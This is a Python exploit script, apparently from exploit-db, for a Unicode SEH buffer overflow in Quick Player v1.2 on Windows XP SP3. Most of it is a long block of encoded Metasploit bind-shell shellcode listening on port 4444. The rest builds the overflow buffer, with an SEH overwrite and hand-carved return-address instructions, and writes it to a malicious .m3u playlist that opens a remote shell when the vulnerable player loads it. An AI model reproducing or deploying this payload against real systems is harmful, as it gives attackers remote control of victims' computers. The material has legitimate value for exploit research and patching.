#!/usr/bin/python
## Quick Player v1.2 Unicode Buffer Overflow
## Found by : mr_me (great job by mr_me!) http://www.exploit-db.com/exploits/10797
## Coded by : sinn3r (x90.sinner{at}gmail{d0t]c0m)
## thanks : corelanc0d3r's unicode article - awesome job!
## Tested on : Windows XP SP3 ENG
## Oops! Here goes one of my n00b moments...
# windows/shell_bind_tcp lport=4444 http://metasploit.com
# Plenty of space...
bindshell = ("\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x51\x41\x54"
"\x41\x58\x41\x5a\x41\x50\x55\x33\x51\x41\x44\x41\x5a\x41\x42"
"\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41\x51\x41"
"\x50\x41\x35\x41\x41\x41\x50\x41\x5a\x31\x41\x49\x31\x41\x49"
"\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41\x58\x41\x35\x38"
"\x41\x41\x50\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51"
"\x49\x41\x49\x51\x49\x31\x31\x31\x31\x41\x49\x41\x4a\x51\x49"
"\x31\x41\x59\x41\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33"
"\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x45\x39\x49\x51\x49\x4a"
"\x49\x49\x48\x59\x44\x31\x4a\x54\x51\x4d\x42\x35\x42\x39\x50"
"\x49\x50\x49\x51\x39\x51\x39\x50\x49\x51\x39\x50\x49\x51\x39"
"\x51\x39\x51\x39\x51\x33\x50\x43\x50\x43\x50\x43\x50\x43\x50"
"\x43\x50\x37\x42\x31\x50\x5a\x42\x4a\x51\x31\x50\x58\x50\x50"
"\x50\x30\x51\x31\x50\x30\x51\x31\x42\x4b\x51\x31\x51\x31\x42"
"\x31\x50\x32\x51\x31\x51\x32\x50\x32\x51\x32\x51\x32\x50\x30"
"\x50\x42\x51\x32\x51\x31\x51\x32\x50\x58\x42\x30\x50\x38\x51"
"\x31\x51\x32\x42\x55\x50\x4a\x51\x39\x50\x49\x42\x4c\x50\x4d"
"\x50\x38\x50\x4f\x44\x39\x50\x43\x50\x30\x50\x47\x42\x50\x50"
"\x45\x50\x50\x51\x35\x50\x30\x50\x4b\x50\x39\x50\x4a\x50\x45"
"\x50\x45\x43\x31\x50\x4e\x50\x32\x50\x43\x42\x34\x50\x4c\x50"
"\x4b\x50\x50\x51\x42\x50\x46\x50\x50\x50\x4e\x42\x4b\x42\x31"
"\x50\x42\x50\x44\x50\x4c\x50\x4c\x50\x4b\x51\x36\x50\x32\x51"
"\x37\x43\x34\x50\x4e\x42\x4b\x50\x51\x43\x32\x50\x47\x42\x38"
"\x50\x44\x50\x4f\x50\x4c\x42\x57\x51\x32\x51\x5a\x51\x35\x43"
"\x46\x51\x36\x50\x51\x50\x49\x42\x4f\x50\x46\x42\x31\x50\x4b"
"\x42\x50\x50\x4c\x42\x4c\x50\x45\x42\x4c\x50\x50\x43\x31\x50"
"\x51\x42\x4c\x51\x35\x42\x32\x50\x46\x50\x4c\x51\x35\x42\x50"
"\x50\x4a\x43\x31\x50\x4a\x42\x4f\x51\x34\x50\x4d\x51\x37\x42"
"\x51\x50\x4b\x42\x57\x51\x39\x44\x32\x50\x4c\x50\x30\x50\x46"
"\x50\x32\x50\x43\x43\x37\x50\x4e\x42\x4b\x50\x43\x42\x42\x51"
"\x34\x50\x50\x50\x4c\x50\x4b\x50\x50\x50\x42\x50\x47\x50\x4c"
"\x50\x46\x51\x51\x50\x4e\x50\x30\x50\x4e\x42\x4b\x50\x47\x50"
"\x30\x50\x42\x51\x48\x50\x4f\x42\x55\x50\x4b\x42\x50\x51\x34"
"\x50\x34\x50\x43\x43\x4a\x51\x37\x44\x31\x50\x48\x50\x50\x51"
"\x32\x44\x30\x50\x4c\x50\x4b\x50\x42\x42\x48\x50\x42\x50\x38"
"\x50\x4c\x50\x4b\x42\x31\x51\x38\x51\x37\x42\x30\x51\x37\x42"
"\x51\x50\x4e\x50\x33\x50\x4d\x50\x33\x50\x45\x42\x4c\x51\x32"
"\x43\x39\x50\x4e\x42\x4b\x51\x35\x43\x34\x50\x4c\x50\x4b\x51"
"\x37\x42\x51\x50\x49\x51\x36\x42\x30\x50\x31\x51\x39\x42\x4f"
"\x50\x44\x42\x51\x50\x4f\x50\x30\x50\x4c\x42\x4c\x50\x4b\x42"
"\x51\x50\x4a\x42\x4f\x51\x36\x42\x4d\x50\x43\x50\x31\x50\x4a"
"\x42\x47\x51\x35\x43\x38\x50\x4b\x42\x30\x50\x51\x42\x45\x50"
"\x48\x43\x44\x51\x33\x50\x33\x50\x43\x50\x4d\x50\x4a\x42\x38"
"\x51\x35\x42\x4b\x50\x43\x50\x4d\x50\x45\x44\x34\x50\x43\x51"
"\x35\x50\x48\x51\x52\x51\x32\x42\x58\x50\x4c\x50\x4b\x50\x42"
"\x44\x38\x50\x47\x51\x44\x51\x37\x44\x31\x50\x4b\x43\x33\x50"
"\x50\x43\x36\x50\x4e\x42\x4b\x50\x44\x50\x4c\x50\x42\x42\x4b"
"\x50\x4c\x50\x4b\x51\x33\x42\x48\x51\x35\x50\x4c\x50\x45\x42"
"\x31\x51\x38\x50\x53\x50\x4e\x42\x4b\x51\x36\x51\x54\x50\x4e"
"\x42\x4b\x51\x37\x44\x31\x51\x38\x42\x30\x50\x4d\x42\x39\x50"
"\x51\x42\x34\x50\x45\x42\x54\x51\x34\x42\x44\x51\x33\x42\x4b"
"\x50\x43\x42\x4b\x51\x35\x50\x31\x51\x32\x44\x39\x51\x33\x51"
"\x5a\x50\x50\x50\x51\x50\x4b\x50\x4f\x50\x4b\x50\x50\x50\x42"
"\x43\x48\x51\x33\x42\x4f\x42\x31\x50\x4a\x50\x4e\x42\x4b\x50"
"\x46\x42\x52\x50\x4a\x50\x4b\x50\x4f\x42\x56\x50\x51\x50\x4d"
"\x51\x35\x50\x38\x50\x50\x50\x33\x51\x36\x51\x42\x50\x43\x50"
"\x30\x50\x47\x42\x50\x51\x35\x50\x38\x51\x34\x50\x37\x42\x30"
"\x43\x43\x50\x44\x42\x52\x51\x33\x42\x4f\x50\x42\x43\x44\x50"
"\x51\x42\x58\x42\x30\x50\x4c\x50\x42\x42\x37\x51\x35\x44\x36"
"\x50\x47\x42\x57\x50\x4b\x50\x4f\x50\x4e\x50\x35\x50\x4f\x50"
"\x48\x50\x4c\x50\x50\x50\x45\x50\x51\x50\x47\x44\x30\x50\x45"
"\x42\x30\x50\x46\x51\x39\x50\x4f\x50\x34\x50\x46\x50\x34\x51"
"\x32\x44\x30\x51\x35\x50\x38\x42\x31\x50\x39\x50\x4b\x50\x30"
"\x42\x30\x42\x4b\x51\x33\x50\x30\x50\x4b\x50\x4f\x50\x49\x51"
"\x35\x50\x50\x42\x30\x50\x46\x50\x30\x42\x30\x42\x30\x51\x36"
"\x50\x30\x50\x51\x42\x30\x51\x36\x50\x30\x42\x31\x42\x30\x50"
"\x42\x42\x50\x51\x35\x50\x38\x51\x38\x42\x4a\x50\x46\x42\x4f"
"\x50\x49\x50\x4f\x51\x39\x42\x50\x50\x4b\x50\x4f\x50\x48\x42"
"\x35\x50\x4d\x42\x39\x50\x4b\x44\x37\x51\x36\x42\x31\x50\x4b"
"\x42\x4b\x51\x32\x42\x53\x50\x50\x51\x58\x50\x45\x51\x42\x51"
"\x35\x42\x30\x51\x36\x42\x51\x50\x43\x42\x4c\x50\x4f\x42\x59"
"\x50\x4a\x51\x36\x50\x50\x51\x5a\x51\x36\x42\x50\x51\x36\x50"
"\x36\x51\x32\x43\x47\x50\x51\x42\x58\x51\x39\x50\x52\x51\x39"
"\x50\x4b\x51\x37\x51\x37\x50\x50\x42\x47\x51\x39\x42\x4f\x50"
"\x4e\x50\x35\x50\x46\x50\x33\x50\x42\x44\x37\x42\x31\x42\x58"
"\x50\x4e\x42\x37\x50\x48\x51\x59\x51\x36\x51\x48\x50\x4b\x50"
"\x4f\x50\x4b\x50\x4f\x50\x48\x50\x55\x50\x43\x51\x53\x51\x33"
"\x42\x43\x51\x33\x51\x57\x50\x50\x42\x48\x42\x30\x42\x54\x51"
"\x38\x42\x4c\x51\x35\x42\x4b\x50\x4d\x50\x31\x50\x49\x42\x4f"
"\x50\x4b\x42\x45\x51\x33\x43\x37\x50\x4f\x43\x49\x50\x49\x51"
"\x47\x50\x42\x50\x48\x42\x31\x51\x55\x51\x32\x50\x4e\x51\x32"
"\x42\x4d\x51\x33\x42\x31\x50\x4b\x50\x4f\x50\x48\x51\x45\x50"
"\x42\x51\x38\x50\x43\x42\x33\x51\x32\x50\x4d\x42\x30\x43\x34"
"\x51\x37\x42\x50\x50\x4d\x51\x49\x51\x38\x51\x53\x50\x51\x50"
"\x47\x42\x31\x51\x37\x51\x36\x50\x37\x50\x44\x44\x31\x50\x4c"
"\x50\x36\x50\x51\x42\x5a\x50\x42\x50\x32\x42\x31\x51\x39\x50"
"\x46\x50\x36\x50\x4d\x50\x32\x51\x39\x42\x4d\x42\x30\x51\x56"
"\x50\x4a\x42\x47\x50\x47\x50\x34\x50\x45\x44\x34\x51\x35\x42"
"\x4c\x50\x46\x43\x31\x50\x46\x51\x51\x50\x4e\x42\x4d\x50\x50"
"\x51\x34\x42\x31\x50\x34\x50\x42\x50\x30\x50\x48\x50\x46\x50"
"\x47\x42\x50\x50\x47\x50\x34\x50\x51\x51\x34\x50\x50\x50\x50"
"\x50\x50\x51\x46\x50\x43\x43\x36\x51\x36\x50\x36\x42\x30\x50"
"\x46\x51\x33\x51\x56\x42\x30\x50\x4e\x50\x46\x50\x36\x51\x33"
"\x51\x56\x50\x42\x44\x33\x50\x50\x50\x56\x51\x32\x50\x48\x50"
"\x51\x51\x59\x50\x4a\x42\x4c\x50\x47\x50\x4f\x50\x4c\x50\x46"
"\x50\x4b\x50\x4f\x51\x38\x51\x45\x50\x4e\x42\x49\x50\x4d\x50"
"\x30\x42\x30\x50\x4e\x50\x50\x50\x56\x50\x43\x43\x46\x50\x4b"
"\x50\x4f\x50\x50\x50\x30\x50\x45\x50\x38\x50\x46\x51\x58\x50"
"\x4e\x51\x57\x51\x35\x50\x4d\x51\x35\x50\x30\x50\x4b\x50\x4f"
"\x50\x4b\x43\x35\x50\x4d\x42\x4b\x50\x4a\x42\x30\x50\x4f\x50"
"\x45\x50\x4c\x43\x32\x42\x31\x50\x46\x50\x42\x50\x48\x50\x4d"
"\x43\x46\x50\x4d\x50\x45\x50\x4f\x50\x4d\x50\x4f\x42\x4d\x50"
"\x4b\x50\x4f\x51\x38\x50\x55\x50\x47\x50\x4c\x51\x33\x50\x36"
"\x50\x51\x42\x4c\x51\x36\x51\x5a\x50\x4d\x50\x50\x50\x4b\x50"
"\x4b\x50\x4d\x50\x30\x50\x44\x50\x35\x50\x46\x43\x35\x50\x4f"
"\x50\x4b\x50\x42\x42\x47\x50\x46\x43\x43\x42\x30\x43\x42\x50"
"\x42\x50\x4f\x50\x43\x50\x5a\x51\x37\x44\x30\x50\x42\x42\x53"
"\x50\x49\x42\x4f\x50\x4b\x51\x55\x50\x45\x51\x4a\x51\x31\x51"
"\x31\x41\x41")
buffer = (
"\x41"*536 + # junk
####################################################################
# SEH Chain:
"\x41\x6D" # Pointer to Next SEH record (unicode = 0x6D004100)
"\x41\x4D" # SE Handler (unicode format = 0x004A0059)
####################################################################
# START CARVING THE RET ADDRESS:
# 0x0012e270 (first item on the stack) + 0x11006100 - 0x11006000 = 0x0012E370 (RET)
"\x58" # POP EAX
"\x6D" # Separator
"\x05\x61\x11" # ADD EAX, 0x11006100 (chars expanded due to unicode)
"\x6D" # Separator
"\x2D\x60\x11" # SUB EAX, 0x11006000 (chars expanded due to unicode)
"\x6D" # Separator
"\x50" # PUSH EAX
"\x6D" # Separator
"\xC3"+ # RETN ; (0x0012E370)
#####################################################################
# bindshell lport 4444
"\x41"*111+ # Alignment
bindshell+ # bindshell lport 4444
"\x44"*3000) # some mo' padding to please my eyes
f = open("quick_player_exploit.m3u", "w")
f.write(buffer)
f.close()
print "[*] quick_player_exploit.m3u created! ph33r!"
